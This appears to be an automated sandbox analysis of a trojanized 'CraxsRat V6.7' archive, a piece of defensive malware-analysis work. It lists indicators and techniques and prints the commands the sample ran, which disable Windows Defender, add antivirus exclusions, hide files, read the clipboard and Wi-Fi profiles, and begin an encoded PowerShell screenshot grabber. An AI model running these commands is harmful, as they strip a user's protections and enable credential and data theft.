46cee2ff6c518b75b82f818002e3434c72f12539ad07995c77e383ef52fb33fa

Resubmissions

22-05-2024 17:20

240522-vwlknaac78 10

22-05-2024 16:01

240522-tgj8lsge72 10

Analysis

max time kernel
1199s
max time network
1161s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 16:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CraxsRat V6.7.rar
Size

224.5MB
MD5

16486345e6b20f7ae900fb02b89f3b08
SHA1

a9125234f9ff3618bde6d59a7a139ab34ecfc9ec
SHA256

46cee2ff6c518b75b82f818002e3434c72f12539ad07995c77e383ef52fb33fa
SHA512

21f57b4e40a4035bb5d97b08d1523b097ccfa37056af7ca3aa342af50f5b614ff1bdf1faf6a307268dcb006faa1fda0562963ec60066e519449b9280a9675276
SSDEEP

6291456:Crxm6Seo6ykkRm0yP8SkmYZoryFWDXFEe:Cr97d78WQWJEe

Score

8^/10

agilenet execution spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4624 powershell.exe
4952 powershell.exe
3956 powershell.exe

pid	process
4624	powershell.exe
4952	powershell.exe
3956	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeCraxsRat.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CraxsRat.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 4 IoCs

Processes:

z.exeCraxsRat.exeCraxsRat.exerar.exe

pid process

3488 z.exe
4460 CraxsRat.exe
4636 CraxsRat.exe
5100 rar.exe

Loads dropped DLL 17 IoCs

Processes:

CraxsRat.exe

pid	process
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe
4636	CraxsRat.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral1/memory/3488-1020-0x000001CDABE30000-0x000001CDABF68000-memory.dmp	agile_net
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\vm.dll	agile_net

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 44 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/4636-1117-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp	upx
behavioral1/memory/4636-1119-0x00007FFD1BFF0000-0x00007FFD1BFFF000-memory.dmp	upx
behavioral1/memory/4636-1118-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp	upx
behavioral1/memory/4636-1124-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp	upx
behavioral1/memory/4636-1125-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp	upx
behavioral1/memory/4636-1126-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp	upx
behavioral1/memory/4636-1127-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp	upx
behavioral1/memory/4636-1129-0x00007FFD1ADD0000-0x00007FFD1ADDD000-memory.dmp	upx
behavioral1/memory/4636-1128-0x00007FFD13210000-0x00007FFD13229000-memory.dmp	upx
behavioral1/memory/4636-1130-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp	upx
behavioral1/memory/4636-1131-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp	upx
behavioral1/memory/4636-1134-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp	upx
behavioral1/memory/4636-1133-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp	upx
behavioral1/memory/4636-1136-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp	upx
behavioral1/memory/4636-1135-0x00007FFD0E6F0000-0x00007FFD0E705000-memory.dmp	upx
behavioral1/memory/4636-1140-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp	upx
behavioral1/memory/4636-1139-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp	upx
behavioral1/memory/4636-1306-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp	upx
behavioral1/memory/4636-1309-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp	upx
behavioral1/memory/4636-1322-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp	upx
behavioral1/memory/4636-1334-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp	upx
behavioral1/memory/4636-1348-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp	upx
behavioral1/memory/4636-1347-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp	upx
behavioral1/memory/4636-1346-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp	upx
behavioral1/memory/4636-1344-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp	upx
behavioral1/memory/4636-1343-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp	upx
behavioral1/memory/4636-1342-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp	upx
behavioral1/memory/4636-1340-0x00007FFD13210000-0x00007FFD13229000-memory.dmp	upx
behavioral1/memory/4636-1333-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp	upx
behavioral1/memory/4636-1364-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp	upx
behavioral1/memory/4636-1369-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp	upx
behavioral1/memory/4636-1373-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp	upx
behavioral1/memory/4636-1372-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp	upx
behavioral1/memory/4636-1371-0x00007FFD1ADD0000-0x00007FFD1ADDD000-memory.dmp	upx
behavioral1/memory/4636-1370-0x00007FFD13210000-0x00007FFD13229000-memory.dmp	upx
behavioral1/memory/4636-1368-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp	upx
behavioral1/memory/4636-1367-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp	upx
behavioral1/memory/4636-1366-0x00007FFD1BFF0000-0x00007FFD1BFFF000-memory.dmp	upx
behavioral1/memory/4636-1365-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp	upx
behavioral1/memory/4636-1363-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp	upx
behavioral1/memory/4636-1362-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp	upx
behavioral1/memory/4636-1361-0x00007FFD0E6F0000-0x00007FFD0E705000-memory.dmp	upx
behavioral1/memory/4636-1360-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp	upx
behavioral1/memory/4636-1349-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

65 discord.com
66 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

63 ip-api.com

flow	ioc
65	discord.com
66	discord.com

flow	ioc
63	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 34 IoCs

Processes:

z.exe

pid	process
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe
3488	z.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1420 WMIC.exe
Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

2000 tasklist.exe
1188 tasklist.exe
4840 tasklist.exe
1136 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

1804 systeminfo.exe

pid	process
1420	WMIC.exe

pid	process
2000	tasklist.exe
1188	tasklist.exe
4840	tasklist.exe
1136	tasklist.exe

pid	process
1804	systeminfo.exe

Modifies registry class 5 IoCs

Processes:

cmd.exeOpenWith.exez.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.apk\DefaultIcon	z.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.apk	z.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.apk\DefaultIcon\ = "C:\\Users\\Admin\\Desktop\\CraxsRat V6.7\\CraxsRat VIP\\CraxsRat VIP\\res\\Icons\\apk.ico"	z.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

372 PING.EXE

pid	process
372	PING.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4804	powershell.exe
4952	powershell.exe
3956	powershell.exe
3956	powershell.exe
4804	powershell.exe
4804	powershell.exe
4952	powershell.exe
4952	powershell.exe
4624	powershell.exe
4624	powershell.exe
4688	powershell.exe
4688	powershell.exe
3956	powershell.exe
3956	powershell.exe
4688	powershell.exe
4624	powershell.exe
508	powershell.exe
508	powershell.exe
2032	powershell.exe
2032	powershell.exe
4032	powershell.exe
4032	powershell.exe
2056	powershell.exe
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zG.exez.exepowershell.exepowershell.exetasklist.exetasklist.exepowershell.exeWMIC.exetasklist.exepowershell.exepowershell.exetasklist.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeRestorePrivilege	3248	7zG.exe
Token: 35	3248	7zG.exe
Token: SeSecurityPrivilege	3248	7zG.exe
Token: SeSecurityPrivilege	3248	7zG.exe
Token: SeDebugPrivilege	3488	z.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	2000	tasklist.exe
Token: SeDebugPrivilege	1188	tasklist.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeDebugPrivilege	4840	tasklist.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeIncreaseQuotaPrivilege	4340	WMIC.exe
Token: SeSecurityPrivilege	4340	WMIC.exe
Token: SeTakeOwnershipPrivilege	4340	WMIC.exe
Token: SeLoadDriverPrivilege	4340	WMIC.exe
Token: SeSystemProfilePrivilege	4340	WMIC.exe
Token: SeSystemtimePrivilege	4340	WMIC.exe
Token: SeProfSingleProcessPrivilege	4340	WMIC.exe
Token: SeIncBasePriorityPrivilege	4340	WMIC.exe
Token: SeCreatePagefilePrivilege	4340	WMIC.exe
Token: SeBackupPrivilege	4340	WMIC.exe
Token: SeRestorePrivilege	4340	WMIC.exe
Token: SeShutdownPrivilege	4340	WMIC.exe
Token: SeDebugPrivilege	4340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4340	WMIC.exe
Token: SeRemoteShutdownPrivilege	4340	WMIC.exe
Token: SeUndockPrivilege	4340	WMIC.exe
Token: SeManageVolumePrivilege	4340	WMIC.exe
Token: 33	4340	WMIC.exe
Token: 34	4340	WMIC.exe
Token: 35	4340	WMIC.exe
Token: 36	4340	WMIC.exe
Token: SeDebugPrivilege	1136	tasklist.exe
Token: SeDebugPrivilege	508	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeIncreaseQuotaPrivilege	3400	WMIC.exe
Token: SeSecurityPrivilege	3400	WMIC.exe
Token: SeTakeOwnershipPrivilege	3400	WMIC.exe
Token: SeLoadDriverPrivilege	3400	WMIC.exe
Token: SeSystemProfilePrivilege	3400	WMIC.exe
Token: SeSystemtimePrivilege	3400	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

7zG.exez.exe

pid process

3248 7zG.exe
3488 z.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

z.exe

pid process

3488 z.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

OpenWith.exe

pid process

2204 OpenWith.exe
2204 OpenWith.exe
2204 OpenWith.exe

pid	process
3248	7zG.exe
3488	z.exe

pid	process
2204	OpenWith.exe
2204	OpenWith.exe
2204	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

CraxsRat.exeCraxsRat.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4460 wrote to memory of 4636	4460	CraxsRat.exe	CraxsRat.exe
PID 4460 wrote to memory of 4636	4460	CraxsRat.exe	CraxsRat.exe
PID 4636 wrote to memory of 3476	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 3476	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1392	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1392	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 5108	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 5108	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 2696	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 2696	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1464	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1464	4636	CraxsRat.exe	cmd.exe
PID 2696 wrote to memory of 3548	2696	cmd.exe	attrib.exe
PID 2696 wrote to memory of 3548	2696	cmd.exe	attrib.exe
PID 5108 wrote to memory of 2248	5108	cmd.exe	mshta.exe
PID 5108 wrote to memory of 2248	5108	cmd.exe	mshta.exe
PID 1392 wrote to memory of 4804	1392	cmd.exe	powershell.exe
PID 1392 wrote to memory of 4804	1392	cmd.exe	powershell.exe
PID 3476 wrote to memory of 4952	3476	cmd.exe	powershell.exe
PID 3476 wrote to memory of 4952	3476	cmd.exe	powershell.exe
PID 4636 wrote to memory of 3328	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 3328	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1016	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1016	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 3324	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 3324	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 908	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 908	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4904	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4904	4636	CraxsRat.exe	cmd.exe
PID 3328 wrote to memory of 2000	3328	cmd.exe	tasklist.exe
PID 3328 wrote to memory of 2000	3328	cmd.exe	tasklist.exe
PID 1464 wrote to memory of 3956	1464	cmd.exe	powershell.exe
PID 1464 wrote to memory of 3956	1464	cmd.exe	powershell.exe
PID 1016 wrote to memory of 1188	1016	cmd.exe	tasklist.exe
PID 1016 wrote to memory of 1188	1016	cmd.exe	tasklist.exe
PID 4636 wrote to memory of 4364	4636	CraxsRat.exe	tree.com
PID 4636 wrote to memory of 4364	4636	CraxsRat.exe	tree.com
PID 4636 wrote to memory of 1872	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1872	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4308	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4308	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4756	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 4756	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 2384	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 2384	4636	CraxsRat.exe	cmd.exe
PID 908 wrote to memory of 4688	908	cmd.exe	powershell.exe
PID 908 wrote to memory of 4688	908	cmd.exe	powershell.exe
PID 4904 wrote to memory of 4840	4904	cmd.exe	tasklist.exe
PID 4904 wrote to memory of 4840	4904	cmd.exe	tasklist.exe
PID 1872 wrote to memory of 4888	1872	cmd.exe	netsh.exe
PID 1872 wrote to memory of 4888	1872	cmd.exe	netsh.exe
PID 3324 wrote to memory of 4340	3324	cmd.exe	WMIC.exe
PID 3324 wrote to memory of 4340	3324	cmd.exe	WMIC.exe
PID 4364 wrote to memory of 4680	4364	cmd.exe	tree.com
PID 4364 wrote to memory of 4680	4364	cmd.exe	tree.com
PID 2384 wrote to memory of 4624	2384	cmd.exe	powershell.exe
PID 2384 wrote to memory of 4624	2384	cmd.exe	powershell.exe
PID 4308 wrote to memory of 1804	4308	cmd.exe	systeminfo.exe
PID 4308 wrote to memory of 1804	4308	cmd.exe	systeminfo.exe
PID 4756 wrote to memory of 4116	4756	cmd.exe	reg.exe
PID 4756 wrote to memory of 4116	4756	cmd.exe	reg.exe
PID 4636 wrote to memory of 1132	4636	CraxsRat.exe	cmd.exe
PID 4636 wrote to memory of 1132	4636	CraxsRat.exe	cmd.exe

Views/modifies file attributes 1 TTPs 3 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exe

pid process

4192 attrib.exe
3548 attrib.exe
1944 attrib.exe

pid	process
4192	attrib.exe
3548	attrib.exe
1944	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\CraxsRat V6.7.rar"
1⤵
- Modifies registry class
PID:3548

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2204

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2980

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\CraxsRat V6.7\" -spe -an -ai#7zMap18221:84:7zEvent3185
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3248

C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\z.exe
"C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\z.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3488

C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe
"C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4460

C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe
"C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe"
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4636

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:3476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
3⤵
- Suspicious use of WriteProcessMemory
PID:1392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Fatal error ! ', 0, 'CraxsRat', 0+16);close()""
3⤵
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Fatal error ! ', 0, 'CraxsRat', 0+16);close()"
4⤵
PID:2248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe""
3⤵
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\CraxsRat.exe"
4⤵
- Views/modifies file attributes
PID:3548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‎.scr'"
3⤵
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‎.scr'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:3328

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
3⤵
- Suspicious use of WriteProcessMemory
PID:3324

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4340

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
3⤵
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4688

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:4904

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
3⤵
- Suspicious use of WriteProcessMemory
PID:4364

C:\Windows\system32\tree.com
tree /A /F
4⤵
PID:4680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
3⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\system32\netsh.exe
netsh wlan show profile
4⤵
PID:4888

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
3⤵
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\system32\systeminfo.exe
systeminfo
4⤵
- Gathers system information
PID:1804

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
3⤵
- Suspicious use of WriteProcessMemory
PID:4756

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
4⤵
PID:4116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgAC